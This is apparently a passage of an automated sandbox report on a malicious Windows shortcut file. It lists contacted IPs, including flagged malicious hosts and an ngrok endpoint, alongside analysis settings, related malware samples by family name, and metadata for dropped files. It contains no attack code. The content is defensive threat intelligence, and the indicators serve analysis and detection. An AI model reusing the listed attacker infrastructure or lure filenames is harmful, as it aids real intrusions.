http://anglebug.com/7406	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 00000002.00000002.2350155115.00000143CC880000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CBA2B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CC85A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5906	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.125.65.18	unknown	United States	19679	DROPBOXUS	false
162.125.67.18	unknown	United States	19679	DROPBOXUS	false
162.125.69.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.125.69.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.161.43.18	unknown	United States	53755	IOFLOODUS	true
3.125.102.39	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
3.125.209.94	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	United States	16509	AMAZON-02US	true

Private

IP
192.168.2.8
192.168.2.7
192.168.2.6
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576693
Start date and time:	2024-12-17 12:11:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0J3fAc6cHO.lnk renamed because original name is a hash value
Original Sample Name:	8cada476b5aafb44e1f9557552ca0dae8a174ef3aee47361b7b421d65d1df261(1).lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@82/285@23/15
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.20.68.201, 192.229.221.95, 204.79.197.239, 13.107.21.239, 172.217.19.206, 13.107.6.158, 13.107.42.16, 23.32.239.56, 23.32.239.18, 2.16.158.169, 2.16.158.82, 2.16.158.97, 2.16.158.89, 2.16.158.96, 2.16.158.91, 2.16.158.83, 2.16.158.170, 2.16.158.88, 2.16.229.162, 20.82.9.214, 2.20.68.210, 20.189.173.22, 142.251.40.99, 142.250.65.195, 52.149.20.212, 13.107.246.63, 94.245.104.56, 20.190.147.6, 23.200.0.34, 4.249.200.148, 13.107.246.40, 23.44.201.39
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, prod-agic-we-1.westeurope.cloudapp.azure.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, l-0007.l-msedge.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, cdp-f-tlu-net.trafficmanager.net, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, bzib.nelreports.net.akamaized.net, otelrules.azureedge.net, api.edgeoffer.microsoft.com,
Execution Graph export aborted for target 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, PID 6180 because there are no executed function
Execution Graph export aborted for target fontdrvhost.exe, PID 8004 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3480 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8532 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 0J3fAc6cHO.lnk

Simulations

Behavior and APIs

Time	Type	Description
06:11:59	API Interceptor	23573x Sleep call for process: powershell.exe modified
06:12:18	API Interceptor	2x Sleep call for process: svchost.exe modified
06:13:53	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.125.65.18	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse
	ljshdfglksdfNEW.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	QD40FIJ8QK.lnk	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse
162.125.67.18	FW Reminder Steve Daugherty shared ALAMO1 _ AGREEMENT.paper with you.msg	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/scl/AAATBuomd5HmxEQWOFFl7juYr5pumA9OT78	Get hash	malicious	Unknown	Browse
	pmrD6U8p5z.xls	Get hash	malicious	Unknown	Browse
	pmrD6U8p5z.xls	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/AACUzblEiF1t5WZvAlLKyT3qXow1xVBTwNQ	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
162.125.69.18	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
162.125.69.15	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	172.64.41.3
	wayneenterprisesbatcave-6.0.1901-windows-installer.msi	Get hash	malicious	ScreenConnect Tool	Browse	172.64.41.3
	Setup.exe (1).zip	Get hash	malicious	Unknown	Browse	172.64.41.3
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	162.159.61.3
	BG75-10-01_CurrencyTransfer__530_24_00002559_Processed.xls	Get hash	malicious	Unknown	Browse	162.159.61.3
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	nB52P46OJD.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.64.41.3
fg.microsoft.map.fastly.net	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	199.232.214.172
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	EgnyteDesktopApp_3.17.1_144.msi	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DROPBOXUS	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
DROPBOXUS	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
DROPBOXUS	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	162.125.69.18
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.65.18
	garsukhjdf11.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	nbavdfasfGarminde.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	23.1.237.91
	DVW8WyapUR.exe	Get hash	malicious	Spyrix Keylogger	Browse	23.1.237.91
	#U661f#U8fb0#U9b54#U57df.exe	Get hash	malicious	Metasploit	Browse	23.1.237.91
	Employee Bonus for Ronnie.benton.docx	Get hash	malicious	Unknown	Browse	23.1.237.91
	9ITJSe7JI2.doc	Get hash	malicious	Unknown	Browse	23.1.237.91
	KoyoCaFyPF.doc	Get hash	malicious	Unknown	Browse	23.1.237.91
	h0Pbthg2yM.doc	Get hash	malicious	Unknown	Browse	23.1.237.91
	rcNDmdah2W.doc	Get hash	malicious	Unknown	Browse	23.1.237.91
	in.exe	Get hash	malicious	Babadeda, HTMLPhisher	Browse	23.1.237.91
3b5074b1b5d032e5620f69f9f700ff0e	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	dP5z8RpEyQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	http://85off-lv.com	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	fGZLZhXIt1.bat	Get hash	malicious	Unknown	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15
	greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	3.125.102.39 162.125.67.18 162.125.69.18 3.125.209.94 162.125.69.15

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8524945032438083
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugG:gJjJGtpTq2yv1AuNZRY3diu8iBVqFDj
MD5:	15748FF702105BB14C02ECA4B475118C
SHA1:	4BF68D8E576D975E35C4B2884A586C5F09EBC083
SHA-256:	0200017EC382D86595F4EA62F2BCF651D14EC3D39D6D12570B574486E729926A
SHA-512:	6FD5F571B17C24741B20DB5592B0FA99A18BC88E7D254E92811B92045855CBEBA0AFF2C2450C21BFF7DB03E90B758829235AE5577576EDC41AFD8885425A35F4
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x940a95ab, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586081014697366
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	70D90CDB39F5AEC00D6DBDBABBD8B228
SHA1:	C2756BA6D8408A6C81D0E888DDFDE3616C1E361D
SHA-256:	59A039CB6799606F5441EA6BC899ECEF0EF82391B213E4AE7ADD2BC1E99B6FC1
SHA-512:	0BF0EB24FFDD17D4DBC83C0D958CFFA0CCC0CB31DD643C03946065581558E8EC7716C776677E092BDEC1CD84F6F80EC778C3955C97AACBE6E4FF2B1E9CFAB356
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{.......\|..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................r.u......\|'.................;........\|...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08035914238519606
Encrypted:	false
SSDEEP:	3:M/lEYeBhWGkGuAJkhvekl1ooallrekGltll/SPj:EEzB2rxl0Je3l
MD5:	E506E553DF2F85399AB69689C41AE738
SHA1:	8CA8A94C6FC543BD6F5DF17E7275CADCB376C634
SHA-256:	DEA42C60A525E75885BA081EE359CFEB1250231BA74BB1878AC2943509DF3685
SHA-512:	5D225CC5384CA47CF600C769EF8ED116B562E99AB9E13546FD1A458E5E420890C00B2D628B7FA88023316C9725F4E06E29A72D0ACBDE7CFE0ADE02A5F3E04080
Malicious:	false
Preview:	..7......................................;...{.......\|.......{...............{.......{...XL......{..................;........\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_40e10521-cce7-4c2b-8424-08c29f39e59b\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6603901705043371
Encrypted:	false
SSDEEP:	96:Z5dF/93enqigKJ2s3Wrk41yHpHS2QXIDcQkc6tcEycw3ZUtzJzQ+HbHgrZ2ZAX/z:Hd3AHn2xR0apYKjqzuiFcZ24lO8JO
MD5:	E967F6A616BA6643FF1433E1A4F6DA27
SHA1:	817B2C5351A5451F92ABBCC847DD49EDEB7CC1D2
SHA-256:	B1D2B479633F6963CDB9F1FA91FEDD6BA6BCD1FE77255E3D887FB850FD10BCE3
SHA-512:	344CD149840CA8E2B1FC22A0879520EE7541BB12FF7DEBEE7E7199076355D67EF56144FD673ED8906546F5B8D481A42B2D81144C35DE0033AEAD6BDD0BDAD451
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.0.7.6.2.8.0.2.7.8.1.6.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.9.0.7.6.2.8.3.2.4.6.8.6.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.0.e.1.0.5.2.1.-.c.c.e.7.-.4.c.2.b.-.8.4.2.4.-.0.8.c.2.9.f.3.9.e.5.9.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.6.b.9.8.b.4.7.-.b.5.5.0.-.4.8.6.a.-.b.7.5.4.-.4.c.0.d.f.2.d.4.1.6.5.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.f.o.n.t.d.r.v.h.o.s.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.f.0.-.0.0.0.1.-.0.0.1.4.-.4.8.6.8.-.9.2.b.c.7.4.5.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.5.e.f.b.3.f.9.7.3.4.2.b.a.1.9.5.4.2.4.1.3.4.f.2.8.f.9.7.7.d.a.9.e.0.d.6.a.a.9.1.!.f.o.n.t.d.r.v.h.o.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER299C.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Dec 17 11:13:48 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	47134
Entropy (8bit):	1.2886125721577741
Encrypted:	false
SSDEEP:	96:578SOxREZeyrfnr7i7V8SC24FCWIr7IgdI:qt+O94Fc6
MD5:	5EAEA039E026E9D857262273CE27CBA1
SHA1:	1059272CC0FCEA6982328CB509DF8224A119CC44
SHA-256:	6848952C4115A45A63EC510C0A185CC095EAB77C1251543797BE82BB92AB3990
SHA-512:	1B21E98688315099E860E5BFF5EC541FEA29173860A4C023BC1B27C0BF2C3443A17D26BC13796F4CE933D47C0D519FB78F55D937BBBEF3D3818E57F8629FD8F8
Malicious:	false
Preview:	MDMP..a..... ........\ag........................................2!..........T.......8...........T...............n.......................................................................................................eJ..............Lw......................T............\ag.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29DC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8620
Entropy (8bit):	3.6901030194524074
Encrypted:	false
SSDEEP:	192:R6l7wVeJYW7pie6Y1Xv0gmfr57vZpDe89blWbfN3m:R6lXJB36YFv0gmfrFvLlKfw
MD5:	D21F24B31EBEF06309245955FFCE3FCD
SHA1:	024E21DA15F2F27E1F299066CDEBD0F76CE4A7B5
SHA-256:	96B6774198DDE2AD8D320F322593CFA7194E5A74864CF8E62FD3A737097B3CED
SHA-512:	160D5821AD17146710E27C478094723D326EF2F7AC3B46A62E4A2AF475605DF849F4540F1A76D3F1B1374FF357CDB82051DFB21BA94403F739693818A205369C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.5.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A2B.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4853
Entropy (8bit):	4.442576880814483
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg771I9uRWpW8VYOYm8M4Jk5LvM6Fmyq8vU5LvM4wHaMuOFd:uIjf8I7tA7VCJcjMFWsjM4wH1uEd
MD5:	83CF692B71C5F9ACB8846329689E9A53
SHA1:	8C51ED215DEEC50991A31619FB7C90CE477131ED
SHA-256:	A3BD33F2E92C5BA9631DCCB2E525DA4C7E281A96DFEBF3F81318F36F8690C8F4
SHA-512:	0F9BB84158DE6FE8BC375B8760BAC6AA6004DA43E4895418544B38216280F6E19018AC5971463C3A7D9B93F183BB3136A1C5C6AD8A61AB4DD2711F9695088B7F
Malicious:	false
